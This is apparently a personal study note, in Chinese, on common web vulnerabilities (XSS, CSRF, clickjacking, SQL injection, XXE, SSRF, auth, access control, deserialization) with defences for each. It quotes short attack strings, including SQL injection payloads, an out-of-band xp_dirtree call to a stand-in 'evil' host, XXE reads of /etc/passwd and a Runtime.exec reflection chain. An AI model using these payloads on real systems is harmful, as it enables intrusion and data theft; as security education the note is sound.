XSS

XSS类型

反射型XSS

需要有带有payload的URL,当用户点击此URL时,服务器就会返回带有自己的恶意js的HTML网页

不需要将恶意js链接存在服务器上

存储型XSS

将恶意js链接存在服务器上,比如,一个博客的主页,名字存在XSS漏洞,输入一个特殊构造的名字,存储在服务器上,当任意用户去访问这个人的主页的时候,就会返回带有恶意JS的HTML

DOM型XSS

前面两个都是浏览器返回的HTML中就有恶意的js,DOM型XSS不是,他是在渲染的过程中触发的恶意JS,即服务器返回的HTML是一个正常的HTML,只不过里面的某些JS代码在处理DOM的时候有漏洞

XSS攻击payload

XSS获取cookie

一般都是获取cookie

XSS钓鱼

XSS除了获取COOKIE可以从一个信任的网站跳转到另一个网站(前端一模一样),用来钓鱼

XSS蠕虫

基本都是存储型XSS,比如个人主页上存放恶意JS,当别人点开这个主页后,恶意的JS也会插入到自己的主页中

XSS防御

给Cookie设置 httponly属性,这样JS就拿不到COOKIE了

XSS过滤

CSP白名单的形式

CSRF跨站请求伪造

CSRF本质

受害者已经登录了A网站(假设是个社交网站)

诱导受害者发送一个特定的请求,比如关注某某某,http://test.com/follow?id=xiaoming

因为COOKIE也可能会发过去(Cookie的SameSite属性管这一点,设置成LAX会缓解一部分CSRF)

防御CSRF

验证码

考虑到用户体验,这个只能作为一种辅助手段

Referer校验

这个最常见的应用是防止图片盗链,服务器可以通过 Referer字段来校验是不是合法的请求

但是 如果应用内部本身就有问题的话,就能绕过去,比如头像可以用URL来设置的话,这个URL设置为一个关注某某某的GET请求,就能绕过这种Referer校验

Cookie的SameSite属性

设置为LAX,可以缓解一部分CSRF,但是通过网站导航跳转啥的依然会携带COOKIE

Anti-CSRF Token

CSRF之所以成功 是因为这个HTTP请求的参数攻击者都知道,如果弄一个加密的或者随机的数放在参数里,攻击者不知道,不就可以绕过CSRF了吗

这个随机的值就是token,token可以放在cookie里或者session里

点击劫持

原理

有点像视觉上的CSRF,就是将iframe设置为透明,然后将iframe的z-index设置的高一点,在原始的html里有一个按钮A,这个按钮的位置正好是Iframe关键操作的按钮B,当用户以为点击了按钮A的时候,实际上执行了点击按钮B的操作(iframe就是关键的那个网站,比如淘宝啥的)

防御

Frame Busting

通过JS代码来防止iframe嵌套,比如top.location = self.location,但从逻辑上可能绕过去

Cookie的SameSite属性

当cookie的SameSite的属性设置为LAX或者Strict的模式时,通过iframe就不会发送对应的cookie

CSP: frame-ancestors

CSP中的frame-ancestors的指令用于指示哪些源可以加载当前页面

比如Content-Security-Policy: frame-ancestors ‘self’ https://example.com

SQL注入

SQL注入方式

最常规注入

1
2
3
SELECT * FROM User WHERE username = 'username' AND password = 'password'

SELECT * FROM User WHERE username = 'admin' -- ' AND password = 'password'

Union注入

联合查询多个表

堆叠注入

通过;分开执行多条SQL语句

报错注入

如果WEB页面有回显的话,通过报错注入的方式可以得到很多有用的信息,比如UpdateXML和ExtractValue等函数的第二个参数

比如

1
SELECT name, author FROM Books WHERE id = 123 and ExtractValue(1, concat(0x7e, database())) --

错误回显为:XPATH syntax error: ‘~database_name’

盲注

为了探测是否存在SQL注入漏洞

布尔型盲注

http://test.com/item.php?id = 2 AND 1=2

http://test.com/item.php?id = 2 AND 1=1

服务器返回的界面可能不一样

延时盲注

123 OR BENCHMARK(500000000, MD5(123)) ;–

根据页面返回的时间来判断是否存在SQL注入

带外数据注入

如果WEB查询数据库的操作是异步的,则布尔型盲注和延时盲注就寄了

带外数据注入: 通过额外的信道向外发送数据

http://test.com/item.aspx?id=1;EXEC master..xp_dirtree ‘\\test.evil.site\' –%20

然后它会进行DNS请求,去查询DNS日志就知道有没有SQL注入了

二次注入

又叫存储型SQL注入

自己设计的SQL语句已经想办法存在数据库中了

SQL注入技巧

利用SQLmap

命令执行

攻击存储过程 xp_cmdshell

编码问题

SQL Column Truncation(长字符串截断)

预防SQL注入

使用预编译语句

SQL注入一般都是SQL语句拼起来的,因为这个过程SQL语句结构发生了改变

使用预编译语句,这种查询方法也叫参数化查询,这种方式可以固定SQL语句的结构

比如String sql = “select * from User where name=? and age = ?”

……

使用存储过程

这种一般是用来处理复杂的数据库操作,但是也可以用来防止SQL注入

参数校验

比如校验是不是整数之类的

使用安全函数

比如用mysqli_real_escape_string 而不是addslashes

还有一些WEB开发框架使用DAO来操作数据库,

其他注入

NoSQL注入

非关系型数据库也存在注入

XML注入

XXE外部实体注入

可以使用ENTITY定义自己的实体

然后可以实现任意文件读取:SYSTEM “file///etc/passwd”

网络协议读取内部服务器的资源(SSRF)SYSTEM “http://10.11.11.11/1.txt"

PHP安装了expect模块后,还能实现任意命令执行,比如expect://ifconfig

CRLF注入

比如两个回车换行改变HTTP的头和数据,甚至可以写入HTTP头

通过编码即可解决

LDAP注入

轻量级目录访问协议,主要用于目录资源的查询

SSRF

服务端请求伪造(Server Side Request Forgery)

WEB应用将外部输入当做URL并访问,攻击者可以构造特殊的URL让服务器端访问指定的URL,该访问行为是服务器预期之外的,这种就叫SSRF攻击。

SSRF漏洞成因

  1. web应用使用网络库获取外部资源或者调用外部接口,比如翻译外部网页(需要输入URL)
  2. XXE外部实体注入
  3. 应用程序允许通过外部参数指定配置,比如输入URL作为数据库连接地址等
  4. 无头浏览器(暂时不懂)
  5. 安全检测发起网络访问,比如如果QQ对用户发的网页进行后台检测,如果是恶意的就标明叹号等

SSRF攻击进阶

访问内网应用

内网漏洞很多,比如通过简单的http://localhost:5984/__users/_all_docs就能访问CurchDB用户表的所有数据

端口扫描

根据返回结果判断内网域名或IP地址是否存在,端口是否开放等

通过响应内容的信息,长度,状态码和响应时间等信息

攻击非WEB应用

如果支持file协议或者ftp协议

http://test.com/vuln.php?url=file:///etc/passwd

利用Gopher实现协议走私等

绕过技巧

比如通过黑名单限制了不能访问内网IP

可以通过DNS解析绕过或者自己弄一个服务器重定向到内网

SSRF防御方案

  1. 校验协议类型,一般需要访问的目标都是有明确的协议的,可以用白名单的形式校验协议
  2. 应用调用的接口如果比较少的话,尽量白名单校验
  3. 校验是不是内网IP
  4. 在解析用户输入的URL的时候,尽量用库,而不是自己写正则
  5. 对用户输入的参数做校验,比如CRLF,dn, passwd等关键字
  6. 大部分应用使用HTTP/HTTPS就够了,应当禁用无关协议
  7. 修复内网漏洞啥的
  8. 应用访问URL后,应当校验返回内容的合法性,就算是错误信息,尽量不要返回给用户

总结:尽量用白名单的形式

身份认证

身份认证的方式

HTTP认证(401)

表单登录(最常用的登陆方式)

客户端证书(在企业里常见)

一次性密码(One Time Password,OTP)比如手机验证码

多因素认证,比如登陆了后还需要手机验证码啥的

FIDO(Fast IDentity Online)发布了开放的身份认证标准FIFO,包含2个协议UAF和U2F

  1. UAF(Universal Authentication Framework): 比如人脸识别,指纹啥的
  2. U2F(Universal 2nd Factor):二次认证方案,比如APPLEID登录官网时,不仅需要输入账号密码,它会给对应的设备(我的是ipad)发送一个验证码,还是输入验证码才能登陆成
  3. 为了让浏览器支持FIDO,有个WebAuthn规范,U2F->升级->CTAP(客户端到认证器协议)允许用户使用指纹或者蓝牙等设备认证,WebAuthn和CTAP一起被称为FIDO2

暴力破解和撞库

暴力破解:一般不是穷举,有个弱密码列表+常用用户名列表。

撞库:一个人可能在不同网站设置同样的密码,所以攻击者获取一个密码后,登陆其它网站也大概率能登录,这种就叫撞库攻击

单点登录

单点登录(Single Sign-On, SSO):同一种方式登录多个平台。

OAuth

OAuth: Open Authorization

比如很多网站可以用QQ登录,点击后,会弹出个QQ输入账号密码的框,就是用的这种方式

流程(以QQ登录CSDN举例):

  1. 用户登录CSDN,点击QQ的方式
  2. 应用返回302:/authorize
  3. 用户访问 …qq…/authorize,然后输入账号密码啥的,点击登录
  4. …qq….这个域名返回302,….csdn../callback?code=AUTH_CODE
  5. 用户访问….csdn../callback?code=AUTH_CODE 就能登进去了

这里容易出现CSRF漏洞,比如攻击者A直接发给别人 …../callback?code=AUTH_CODE 这个网址,对面可能登录攻击者A的账号

OIDC

OIDC:OpenID Connect

基于OAuth的,流程跟OAuth一样,但是OAuth其实是用授权的方式来进行认证的,OIDC是原生支持身份认证的,Facebook和Twitter在使用OIDC

SAML

SAML: Security Assertion Markup Language,一种基于XML的数据标准
在IdP(身份提供者,比如学校)和SP(服务提供者,比如知网)之间交换信息

流程(以CARSI的形式登录知网为例)

  1. 用户登录知网,点击CARSI的方式
  2. 用户生成SAML认证请求并重定向到IdP(是个…/SSO/Redirect?SAMLRequest=request)
  3. 用户访问..edu.cn/…../SSO/Redirect?SAMLRequest=request,返回一个登录界面,让输入账号密码
  4. 用户输入账号密码,回车,IdP就返回SAMLResponse,然后浏览器自动POST的方式返回给SP,然后就登录了

CAS

CAS:Central Authentication Service

在CAS中,对用户进行身份校验的叫CAS Server,使用单点登录的WEB应用叫CAS Client

感觉跟上面那个OAuth和SAML差不多,浏览器重定向到CAS Server的过程中,需要提交一个service参数,用于指定登陆成功后功重定向的目标地址(CAS Client的地址)

比如:https://server/cas/login?service=http://www.service.com

认证成功后,CAS Server将用户重定向到CAS Client的时候,在参数中传递一个Service Ticket,然后CAS Client基于这个Service Ticket和自己的服务标识从CAS Server中获取用户认证信息。

访问控制

主体对客体拥有的操作权限

访问控制模型

自主访问控制模型

自主访问控制(Discretionary Access Control)

比如飞书文档的权限控制,文档作者可以控制其他人员对当前文档的访问权限。

基于角色的访问控制

Role-Based Access Control, RBAC

基于属性的访问控制

Attribute-Based Access Control

系统根据主体,客体,以及环境等属性动态计算一个布尔表达式,以判断主体有没有操作权限

比如:银行允许财务人员在工作时间访问某财务系统

越权访问漏洞

垂直越权访问:比如普通用户可以拥有admin的权限,比如在header或cookie里,isAdmin=0改成isAdmin=1就越权了

解决方法:比如在RBAC模型中,在进行具体操作的时候,采用安全的方式校验访问者的角色

水平越权访问:比如用户A可以访问用户B 的私有数据。比如http://test.com/order?id=1234,改个ID就访问到别人的了

解决方法:↓

  1. 文件名,UID啥的,都随机化,让攻击者不可预测
  2. 服务器应当从session中或者JWT中获取UID,而不是用户直接写个明文的UID进行request
  3. 对于重要的数据库,在后台SQL日志看有没有对数据的操作未带上UID作为WHERE语句的条件,这种有可能造成水平越权访问
  4. 审计用户的访问行为,看看有没有异常的批量访问行为。

零信任模型

零信任模型遵循的原则↓

显示验证:默认不信任原则,在整个过程中持续的校验访问者的安全属性,比如账号,设备,网络环境等

最小权限:在零信任访问模型中也需要遵循“最小权限”原则吗仅仅授予主体完成工作的最小权限,如果权限不需要时,应及时撤销

敌情想定:假设所有网络环境都是不安全的,基于这个假设去设计身份认证、数据加密、访问控制等方案

零信任访问架构分为控制平面 和 数据平面两个部分

开发语言的安全

PHP安全

变量覆盖:早期的PHP中,如果配置文件中定义了register_globals=On,就会把参数中的元素注册为全局变量

….test.php?admin=1—-> $admin=1

PHP5.4之后废除了这个特性

PHP的extract函数也可以将数组中的元素注册到当前上下文,而且这个extract()函数在各个PHP版本中都存在,使用时要格外小心

空字节问题

filename=malicious.php%00.pdf

底层C语言处理就是malicious.php,PHP5.3修复了这个漏洞

弱类型

=== 和 == 的区别

反序列化

对不可信的数据进行反序列化,可能被攻击者利用

JAVA安全

java的反射机制可以用来反序列化,反射机制就是可以动态获取类的属性和方法,动态调用对象的属性和方法

比如

Class clazz = Class.forName(“java.lang.Runtime”)

Method getRuntimeMethod = clazz.getMethod(“getRuntime”)

Object runtimeObject = getRuntimeMethod.invoke(clazz)

Method execMethod = clazz.getMethod(“exec”, String.class)

execMethod.invoke(runtimeObject, “open /…/…/Calculator.app”)

我们可以根据内部处理逻辑,构造序列化的对象,然后在内部反序列化的过程中,就会执行类似上面这些代码

作为开发者如何防止?

尽可能用高版本的库,然后可以用黑白名单的机制,仅仅反序列化特定的对象或者禁止反序列化某种类型的对象

如果序列化后的数据存在客户端,可以对其进行签名,收到数据后先校验签名再执行反序列化操作

Python安全

python的反序列化,利用pickle库,pythond的__reduce__(self)在反序列化的时候会自动被调用

它返回一个至少包含2个元素的数组,第一个元素是类或者函数,第二个元素是类的构造函数的参数 或 函数的参数